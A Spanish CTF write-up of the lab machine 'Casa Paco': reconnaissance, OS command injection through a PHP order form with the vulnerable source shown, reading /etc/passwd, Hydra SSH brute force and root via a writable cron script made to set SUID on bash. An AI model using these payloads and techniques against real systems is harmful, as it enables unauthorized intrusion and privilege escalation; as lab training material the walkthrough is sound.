

# Casa Paco

- Enumeración
  - Ping
  - Nmap
  - HTTP
    - Fuzzing Web
    - Burp Suite
- Explotación
  - Hydra
  - SSH
  - Escalada de Privilegios
    - Tarea CRON

---

## Resolviendo la máquina Casa Paco

En esta publicación, comparto cómo resolví la máquina **Casa Paco** de **The Hackers Labs**.

---

### Enumeración

#### Ping

Ejecutamos un *ping* para comprobar la conectividad y obtener pistas sobre el sistema operativo.

```
ping -c 1 192.168.1.138
```

```
PING 192.168.1.138 (192.168.1.138) 56(84) bytes of data.  
64 bytes from 192.168.1.138: icmp_seq=1 ttl=64 time=2.03 ms  
  
— 192.168.1.138 ping statistics —  
1 packets transmitted, 1 received, 0% packet loss, time 0ms  
rtt min/avg/max/mdev = 2.027/2.027/2.027/0.000 ms
```

*TTL=64* -> Linux

#### Nmap

```
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 192.168.1.138 -oG allPorts
```

```
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-21 19:20 CEST
Initiating ARP Ping Scan at 19:20
Scanning 192.168.1.138 [1 port]
Completed ARP Ping Scan at 19:20, 0.05s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 19:20
Scanning 192.168.1.138 [65535 ports]
Discovered open port 80/tcp on 192.168.1.138
Discovered open port 22/tcp on 192.168.1.138
Completed SYN Stealth Scan at 19:20, 7.52s elapsed (65535 total ports)
Nmap scan report for 192.168.1.138
Host is up, received arp-response (0.0033s latency).
Scanned at 2025-07-21 19:20:40 CEST for 7s
Not shown: 65533 closed tcp ports (reset)
PORT      STATE SERVICE REASON
22/tcp    open  ssh      syn-ack ttl 64
80/tcp    open  http     syn-ack ttl 64
MAC Address: 08:00:27:97:4B:86 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 7.71 seconds
Raw packets sent: 65536 (2.884MB) | Rcvd: 65536 (2.621MB)
```

```
nmap -p22,80 -sCV 192.168.1.138 -oN targeted
```

```
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-21 19:22 CEST
Nmap scan report for 192.168.1.138
Host is up (0.00074s latency).

PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 9.2p1 Debian 2+deb12u4 (protocol 2.0)
|_ ssh-hostkey:
|_  256 72:58:87:c5:87:63:3f:fa:43:da:ed:69:2f:ed:a7:d0 (ECDSA)
|_  256 13:31:bc:26:a0:2e:4a:ae:b8:31:75:7f:0e:17:32:4e (ED25519)
80/tcp    open  http     Apache httpd 2.4.62
|_ http-title: Did not follow redirect to http://casapaco.thl
|_ http-server-header: Apache/2.4.62 (Debian)
MAC Address: 08:00:27:97:4B:86 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: Host: 127.0.0.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.77 seconds
```

## HTTP

```
http://192.168.1.138
```

# Hmm. We're having trouble finding that site.

We can't connect to the server at casapaco.thl.

If you entered the right address, you can:

- Try again later
- Check your network connection
- Check that Firefox has permission to access the web (you might be connected but behind a firewall)

Try Again

```
echo "192.168.1.138 casapaco.thl" >> /etc/hosts
```

## Casa Paco

El sabor de la tradición



## Fuzzing Web

Se realiza *fuzzing web*, pero no se obtiene ningún resultado.

## Burp Suite

Se procede a mirar en la web, y se encuentra el siguiente directorio:

<http://casapaco.thl/llevar.php>.

# Casa Paco - Pedido para Llevar

## Haz tu pedido para llevar

**Nombre:**

**Plato:**

Se procede a realizar un análisis con *Burp Suite*.

Request		Response	
Pretty	Raw	Pretty	Raw
1	POST /llevar.php HTTP/1.1	27	<code>&lt;input type="text" id="name" name="name" placeholder="Tu nombre" required&gt;</code>
2	Host: casapaco.thl	28	<code>&lt;br&gt;</code>
3	Content-Length: 21	28	<code>&lt;label for="dish"&gt;</code>
4	Cache-Control: max-age=0	28	<code>Plato:</code>
5	Accept-Language: es-ES,es;q=0.9	29	<code>&lt;/label&gt;</code>
6	Origin: http://casapaco.thl	29	<code>&lt;input type="text" id="dish" name="dish" placeholder="Ejemplo: Cocido" required&gt;</code>
7	Content-Type: application/x-www-form-urlencoded	29	<code>&lt;br&gt;</code>
8	Upgrade-Insecure-Requests: 1	30	<code>&lt;button type="submit" class="btn"&gt;</code>
9	User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko)	30	<code>Enviar Pedido</code>
10	Chrome/133.0.0.0 Safari/537.36	30	<code>&lt;/button&gt;</code>
11	Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*	31	<code>&lt;/form&gt;</code>
12	Referer: http://casapaco.thl/llevar.php	31	<code>&lt;section class="confirmation"&gt;</code>
13	Connection: keep-alive	32	<code>&lt;h3&gt;</code>
14		32	<code>Pedido confirmado</code>
15	<code>name=manu&amp;dish=prueba</code>	33	<code>&lt;/h3&gt;</code>
		33	<code>&lt;p&gt;</code>
		33	<code>Gracias, &lt;strong&gt;</code>
		33	<code>manu</code>
		33	<code>&lt;/strong&gt;</code>
		33	<code>. Tu pedido de &lt;strong&gt;</code>
		33	<code>prueba</code>
		33	<code>&lt;/strong&gt;</code>
		33	<code>estará listo para llevar.</code>
		33	<code>&lt;/p&gt;</code>
		33	<code>&lt;h3&gt;</code>
		33	<code>Salida del Comando:</code>
		33	<code>&lt;/h3&gt;</code>
		33	<code>&lt;pre&gt;</code>
		33	<code>&lt;/pre&gt;</code>
		33	<code>&lt;/section&gt;</code>
		34	<code>&lt;/main&gt;</code>
		35	<code>&lt;footer&gt;</code>
		36	<code>&lt;p&gt;</code>
		36	<code>&amp;copy; 2025 Casa Paco. Todos los derechos reservados.</code>
		37	<code>&lt;/p&gt;</code>
		37	<code>&lt;/footer&gt;</code>
		38	<code>&lt;/body&gt;</code>
		39	<code>&lt;/html&gt;</code>
		40	

Se observa que al realizar un pedido de prueba, pone "Salida de comando".

Se prueba si podemos listar contenido.

Request		Response	
Pretty	Raw	Pretty	Raw
<pre> 1 POST /llevar.php HTTP/1.1 2 Host: casapaco.thl 3 Content-Length: 18 4 Cache-Control: max-age=0 5 Accept-Language: es-ES,es;q=0.9 6 Origin: http://casapaco.thl 7 Content-Type: application/x-www-form-urlencoded 8 Upgrade-Insecure-Requests: 1 9 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko)   Chrome/133.0.0.0 Safari/537.36 10 Accept:   text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*   ;q=0.8,application/signed-exchange;v=b3;q=0.7 11 Referer: http://casapaco.thl/llevar.php 12 Accept-Encoding: gzip, deflate, br 13 Connection: keep-alive 14 15 name=manu&amp;dish=dir </pre>		<pre> 28 &lt;br&gt;   &lt;label for="dish"&gt;     Plato:   &lt;/label&gt; 29 &lt;input type="text" id="dish" name="dish" placeholder="Ejemplo: Cocido" required&gt;   &lt;br&gt; 30 &lt;button type="submit" class="btn"&gt;   Enviar Pedido   &lt;/button&gt; 31 &lt;/form&gt; 32 33 &lt;section class="confirmation"&gt;   &lt;h3&gt;     Pedido confirmado   &lt;/h3&gt;   &lt;p&gt;     Gracias, &lt;strong&gt;       manu     &lt;/strong&gt;     . Tu pedido de &lt;strong&gt;       dir     &lt;/strong&gt;     estará listo para llevar.   &lt;/p&gt;   &lt;div&gt;     Salida del Comando:   &lt;/div&gt;   &lt;pre&gt;     index.html llevar.php llevar1.php menu.html pedidos.log static   &lt;/pre&gt; 34 &lt;/section&gt; 35 36 &lt;/main&gt; 37 38 &lt;footer&gt;   &lt;p&gt;     ©copy; 2025 Casa Paco. Todos los derechos reservados.   &lt;/p&gt; 39 &lt;/footer&gt; 40 &lt;/body&gt; 41 &lt;/html&gt; </pre>	

Al intentar listar el el archivo *llevar.php*, no se consigue nada.

Request		Response	
Pretty	Raw	Pretty	Raw
<pre> 1 POST /llevar.php HTTP/1.1 2 Host: casapaco.thl 3 Content-Length: 29 4 Cache-Control: max-age=0 5 Accept-Language: es-ES,es;q=0.9 6 Origin: http://casapaco.thl 7 Content-Type: application/x-www-form-urlencoded 8 Upgrade-Insecure-Requests: 1 9 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko)   Chrome/133.0.0.0 Safari/537.36 10 Accept:   text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*   ;q=0.8,application/signed-exchange;v=b3;q=0.7 11 Referer: http://casapaco.thl/llevar.php 12 Accept-Encoding: gzip, deflate, br 13 Connection: keep-alive 14 15 name=manu&amp;dish=cat llevar.php </pre>		<pre> 8 Content-Type: text/html; charset=UTF-8 9 10 &lt;!DOCTYPE html&gt; 11 &lt;html lang="es"&gt; 12 &lt;head&gt; 13 &lt;meta charset="UTF-8"&gt; 14 &lt;meta name="viewport" content="width=device-width, initial-scale=1.0"&gt; 15 &lt;title&gt;   Casa Paco - Para Llevar &lt;/title&gt; 16 &lt;link rel="stylesheet" href="static/styles.css"&gt; 17 &lt;/head&gt; 18 &lt;body&gt; 19 &lt;header&gt; 20 &lt;h1&gt;   Casa Paco - Pedido para Llevar &lt;/h1&gt; 21 &lt;/header&gt; 22 23 &lt;main&gt; 24 &lt;h2&gt;   Haz tu pedido para llevar &lt;/h2&gt; 25 &lt;form action="llevar.php" method="POST" class="order-form"&gt;   &lt;label for="name"&gt;     Nombre:   &lt;/label&gt; 27 &lt;input type="text" id="name" name="name" placeholder="Tu nombre" required&gt;   &lt;br&gt; 28 &lt;label for="dish"&gt;     Plato:   &lt;/label&gt; 29 &lt;input type="text" id="dish" name="dish" placeholder="Ejemplo: Cocido" required&gt;   &lt;br&gt; 30 &lt;button type="submit" class="btn"&gt;   Enviar Pedido   &lt;/button&gt; 31 &lt;/form&gt; 32 33 &lt;p style="color: red;"&gt;   Error: Pide comida no intentes hackearme. Los callos estan muy ricos. &lt;/p&gt; </pre>	

Anteriormente, se observa que existe un archivo llamado *llevar1.php*.

Se procede a realizar la misma prueba que se realizó anteriormente, pero con el archivo mencionado.

Request				Response			
Pretty	Raw	Hex		Pretty	Raw	Hex	Render
1	POST	/llevar1.php	HTTP/1.1	48	<form action="/llevar.php" method="POST" class="order-form">		
2	Host:	casapaco.thl		49			
3	Content-Length:	29			Nombre:		
4	Cache-Control:	max-age=0			</label>		
5	Accept-Language:	es-ES,es;q=0.9		50	<input type="text" id="name" name="name" placeholder="Tu nombre" required>		
6	Origin:	http://casapaco.thl			 		
7	Content-Type:	application/x-www-form-urlencoded		51	<label for="dish">		
8	Upgrade-Insecure-Requests:	1			Plato:		
9	User-Agent:	Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36		52	</label>		
10	Accept:	text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7			<input type="text" id="dish" name="dish" placeholder="Ejemplo: Cocido" required>		
11	Referer:	http://casapaco.thl/llevar.php		53	 		
12	Accept-Encoding:	gzip, deflate, br			<button type="submit" class="btn">		
13	Connection:	keep-alive			Enviar Pedido		
14				54	</button>		
15	name=manu&dish=cat llevar.php			55	</form>		
				56	<?php		
				57	if (\$_SERVER["REQUEST_METHOD"] === "POST") {		
				58	\$name = htmlspecialchars(\$_POST["name"]);		
				59	\$dish = \$_POST["dish"];		
				60			
				61	// Filtro para bloquear comandos simples		
				62	\$pattern_blacklist = '/\b(whoami ls pwd cat sh bash)\b/i';		
				63	if (preg_match(\$pattern_blacklist, \$dish)) {		
				64	die('<p style="color: red;">		
					Error: Pide comida no intentes hackearme. Los callos estan muy ricos.		
					</p>		
					');		
					}		
				65			
				66			
				67	// Permitir solo caracteres y estructuras de comandos más complejas		
				68	\$allowed_pattern = '/^[a-zA-Z0-9\s\\$\(\)\-\_\.\,]*\$/';		
				69	if (!preg_match(\$allowed_pattern, \$dish)) {		
				70	die('<p style="color: red;">		
					Error: Pide comida no intentes hackearme. Los callos estan muy ricos.		
					</p>		
					');		
					}		
				71			
				72			
				73	// Comando vulnerable		

Se observa que funciona, además de ver el bloqueo de comandos que tiene el archivo *llevar.php*.

Se procede a listar el archivo *llevar1.php* y se observa que no tiene el bloqueo de comandos.

Request				Response			
Pretty	Raw	Hex		Pretty	Raw	Hex	Render
1	POST	/llevar1.php	HTTP/1.1	47	<h2>		
2	Host:	casapaco.thl			Haz tu pedido para llevar		
3	Content-Length:	30			</h2>		
4	Cache-Control:	max-age=0		48	<form action="/llevar.php" method="POST" class="order-form">		
5	Accept-Language:	es-ES,es;q=0.9		49	<label for="name">		
6	Origin:	http://casapaco.thl			Nombre:		
7	Content-Type:	application/x-www-form-urlencoded			</label>		
8	Upgrade-Insecure-Requests:	1		50	<input type="text" id="name" name="name" placeholder="Tu nombre" required>		
9	User-Agent:	Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36			 		
10	Accept:	text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7		51	<label for="dish">		
11	Referer:	http://casapaco.thl/llevar.php			Plato:		
12	Accept-Encoding:	gzip, deflate, br		52	</label>		
13	Connection:	keep-alive			<input type="text" id="dish" name="dish" placeholder="Ejemplo: Pizza" required>		
14					 		
15	name=manu&dish=cat llevar1.php			53	<button type="submit" class="btn">		
					Enviar Pedido		
				54	</button>		
				55	</form>		
				56	<?php		
				57	if (\$_SERVER["REQUEST_METHOD"] === "POST") {		
				58	\$name = htmlspecialchars(\$_POST["name"]); // Sanitizamos para evitar errores visuales		
				59	\$dish = \$_POST["dish"]; // Intencionalmente sin sanitizar para la vulnerabilidad		
				60			
				61	// Comando vulnerable		
				62	\$output = shell_exec("\$dish");		
				63			
				64	echo '<section class="confirmation">		
					';		
				65	echo '<h3>		
					Pedido confirmado		
					</h3>		
					';		
				66	echo "<p>		
					Gracias, <strong>		
					\$name		
					</strong>		
					. Tu pedido de <strong>		

Se procede a listar el archivo: `/etc/passwd`, para averiguar usuarios en el sistema.

Request				Response			
Pretty	Raw	Hex		Pretty	Raw	Hex	Render
<pre> 1 POST /lleva1.php HTTP/1.1 2 Host: casapaco.thl 3 Content-Length: 30 4 Cache-Control: max-age=0 5 Accept-Language: es-ES,es;q=0.9 6 Origin: http://casapaco.thl 7 Content-Type: application/x-www-form-urlencoded 8 Upgrade-Insecure-Requests: 1 9 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko)   Chrome/133.0.0.0 Safari/537.36 10 Accept:   text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*   ;q=0.8,application/signed-exchange;v=b3;q=0.7 11 Referer: http://casapaco.thl/lleva1.php 12 Accept-Encoding: gzip, deflate, br 13 Connection: keep-alive 14 15 name=manu&amp;dish=cat /etc/passwd </pre>				<pre> &lt;/strong&gt; . Tu pedido de &lt;strong&gt; cat /etc/passwd &lt;/strong&gt; estará listo para llevar. &lt;/p&gt; &lt;/div&gt; Salida del Comando: &lt;/div&gt; &lt;pre&gt; root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin _apt:x:42:65534:/nonexistent:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin messagebus:x:100:107::/nonexistent:/usr/sbin/nologin sshd:x:101:65534:/run/ssh:/usr/sbin/nologin pacogerente:x:1001:1001:/home/pacogerente:/bin/bash &lt;/pre&gt; &lt;/section&gt; &lt;/main&gt; &lt;footer&gt; &lt;p&gt; &amp;copy; 2025 Casa Paco. Todos los derechos reservados. &lt;/p&gt; &lt;/footer&gt; </pre>			

Se listan los usuarios y se encuentra *pacogerente*.

## Explotación

### Hydra

Se procede a realizar *fuerza bruta* en el servicio **SSH**.

```
hydra -l pacogerente -P /usr/share/wordlists/rockyou.txt 192.168.1.138 ssh -t 64
```

```

Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-07-21 20:05:11
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344399 login tries (l:1/p:14344399), ~224132 tries per task
[STATUS] attacking ssh://192.168.1.138:22/
[STATUS] 569.00 tries/min, 1474 tries in 00:01h, 14342964 to do in 420:09h, 25 active
[STATUS] 491.33 tries/min, 1474 tries in 00:03h, 14342964 to do in 486:32h, 25 active
[STATUS] 462.43 tries/min, 3237 tries in 00:07h, 14341201 to do in 516:53h, 25 active
[22][ssh] host: 192.168.1.138 login: pacogerente password: dipset1
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 23 final worker threads did not complete until end.
[ERROR] 23 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-07-21 20:13:44

```

### SSH

```
ssh pacogerente@192.168.1.138
```



```
The authenticity of host '192.168.1.138 (192.168.1.138)' can't be established.  
ED25519 key fingerprint is SHA256:yKIDJ9/1YPRTJ6ORMgeeSDwmO5jwNwm4p8+L8cwMQiY.  
This key is not known by any other names.  
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes  
Warning: Permanently added '192.168.1.138' (ED25519) to the list of known hosts.  
pacogerente@192.168.1.138's password:  
Linux Thehackerslabs-CasaPaco 6.1.0-29-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.123-1 (2025-01-02) x86_64  
  
The programs included with the Debian GNU/Linux system are free software;  
the exact distribution terms for each program are described in the  
individual files in /usr/share/doc/*/copyright.  
  
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent  
permitted by applicable law.  
Last login: Tue Jan 14 16:48:33 2025 from 192.168.1.38  
pacogerente@Thehackerslabs-CasaPaco:~$
```

## Escalada de Privilegios

### Tarea CRON

Se realiza una búsqueda y se encuentra, dos archivos: `fabada.sh` y `log.txt`.

```
ls
```

```
fabada.sh  log.txt  user.txt
```

Se visualizan los dos archivos.

```
cat log.txt
```

```
Ejecutado por cron el: lun 21 jul 2025 20:23:01 CEST  
Ejecutado por cron el: lun 21 jul 2025 20:24:02 CEST  
Ejecutado por cron el: lun 21 jul 2025 20:25:01 CEST  
Ejecutado por cron el: lun 21 jul 2025 20:26:01 CEST  
Ejecutado por cron el: lun 21 jul 2025 20:27:01 CEST  
Ejecutado por cron el: lun 21 jul 2025 20:28:01 CEST  
Ejecutado por cron el: lun 21 jul 2025 20:29:01 CEST  
Ejecutado por cron el: lun 21 jul 2025 20:30:01 CEST
```

```
cat fabada.sh
```

```
#!/bin/bash  
  
# Generar un log de actividad  
echo "Ejecutado por cron el: $(date)" >> /home/pacogerente/log.txt
```

Se verifica si el archivo (`fabada.sh`) puede ser editado.

```
ls -la
```



```
total 40
drwxr-xr-x 3 pacogerente pacogerente 4096 ene 14 2025 .
drwxr-xr-x 3 root        root        4096 ene 14 2025 ..
lrwxrwxrwx 1 root        root         9 ene 14 2025 .bash_history -> /dev/null
-rw-r--r-- 1 pacogerente pacogerente 220 mar 29 2024 .bash_logout
-rw-r--r-- 1 pacogerente pacogerente 3526 mar 29 2024 .bashrc
-rwxrwx-rw- 1 pacogerente pacogerente 110 ene 14 2025 fabada.sh
drwxr-xr-x 3 pacogerente pacogerente 4096 ene 13 2025 .local
-rw-r--r-- 1 root        root        4908 jul 21 20:30 log.txt
-rw-r--r-- 1 pacogerente pacogerente 807 mar 29 2024 .profile
-rw-r--r-- 1 pacogerente pacogerente 33 ene 14 2025 user.txt
```

Se edita el archivo `fabada.sh` , añadiendo la línea de comando `chmod u+s /bin/bash` .

```
nano fabada.sh
```

```
cat fabada.sh
```

```
#!/bin/bash

chmod u+s /bin/bash

# Generar un log de actividad
echo "Ejecutado por cron el: $(date)" >> /home/pacogerente/log.txt
```

Se espera a que pase la tarea **CRON**.

```
cat log.txt
```

```
Ejecutado por cron el: lun 21 jul 2025 20:27:01 CEST
Ejecutado por cron el: lun 21 jul 2025 20:28:01 CEST
Ejecutado por cron el: lun 21 jul 2025 20:29:01 CEST
Ejecutado por cron el: lun 21 jul 2025 20:30:01 CEST
Ejecutado por cron el: lun 21 jul 2025 20:31:01 CEST
Ejecutado por cron el: lun 21 jul 2025 20:32:01 CEST
```

```
bash -p
```

```
bash-5.2# whoami
root
```